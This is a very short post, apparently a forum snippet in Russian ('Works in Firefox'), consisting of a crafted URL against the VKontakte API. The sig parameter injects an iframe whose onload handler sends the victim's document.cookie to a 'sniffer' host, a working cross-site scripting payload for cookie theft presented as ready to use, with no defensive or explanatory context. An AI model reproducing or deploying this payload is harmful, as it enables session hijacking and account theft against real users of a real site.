Работает в Firefox:
http://api.vkontakte.ru/api.php?v=2.0&sig=<iframe+src=.+onload=location.hr ef='http://sniffer?'%2Bdocument.cookie>&format=JSON